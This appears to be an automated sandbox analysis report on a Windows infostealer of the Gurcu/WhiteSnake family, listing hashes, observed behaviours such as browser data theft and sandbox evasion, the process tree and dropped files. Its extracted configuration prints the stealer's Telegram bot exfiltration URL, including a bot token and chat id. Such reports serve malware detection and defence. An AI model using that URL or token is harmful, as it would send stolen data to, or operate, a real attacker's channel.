Analysis
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max time kernel
93s -
max time network
95s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
14-12-2024 03:03
General
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Target
2a06b6535a0057b961f41e9b0790ffbc6f540566f2c21ae66cee4b61f5a360eb.exe
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Size
5.6MB
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MD5
177a970a8a6c5e5e6b5c04c40bf3fe1c
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SHA1
64709ca99a03f416a854817427d4543043e204ad
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SHA256
2a06b6535a0057b961f41e9b0790ffbc6f540566f2c21ae66cee4b61f5a360eb
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SHA512
4c1c3716ec518102d16e11fbb84f0446d75cfc8db97a5635e4f71e407431b2a21bdb35bfa38e5414f28d044b176cfce044e5da0984c519713c0e3b82657a2317
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SSDEEP
98304:aGl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:adOuK6mn9NzgMoYkSIvUcwti7TQlvciE
Malware Config
Extracted
gurcu
https://api.telegram.org/bot8137653339:AAG5i0WFhwI1I4U5IchQ2c9wOIxNBiamQsk/sendDocument?chat_id=6518356118&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan
Signatures
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Gurcu family
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Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Loads dropped DLL 1 IoCs
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
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Suspicious behavior: EnumeratesProcesses 29 IoCs
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\2a06b6535a0057b961f41e9b0790ffbc6f540566f2c21ae66cee4b61f5a360eb.exe"C:\Users\Admin\AppData\Local\Temp\2a06b6535a0057b961f41e9b0790ffbc6f540566f2c21ae66cee4b61f5a360eb.exe"1⤵
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpCD91.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpCD91.tmp.bat2⤵
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.7MB
MD565ccd6ecb99899083d43f7c24eb8f869
SHA127037a9470cc5ed177c0b6688495f3a51996a023
SHA256aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4
SHA512533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d
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Filesize
232B
MD533928121c13574628bc76ac29d40a4b6
SHA1052171ebb58ead68fd489782b720635eb35987e1
SHA256bee2d618fb51fc0480166b71f9c58c43bf7a341e23e5981bd4d0cfdd3b65df05
SHA512c9c7482c648feaf01a0608c57ed9f52f4ff2d94daf42046542277fe75da7d46a8fb7b02c9edf109f633ca4abbb4f1a0258de25244011786c2b356e552fc82345
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Filesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84
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Filesize
712KB
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Filesize
136KB
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Filesize
10.8MB
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Filesize
120KB
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Filesize
424KB
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Filesize
8KB
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Filesize
320KB
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Filesize
472KB
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Filesize
232KB
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Filesize
152KB
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Filesize
3.2MB
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Filesize
72KB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
40KB
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Filesize
5.6MB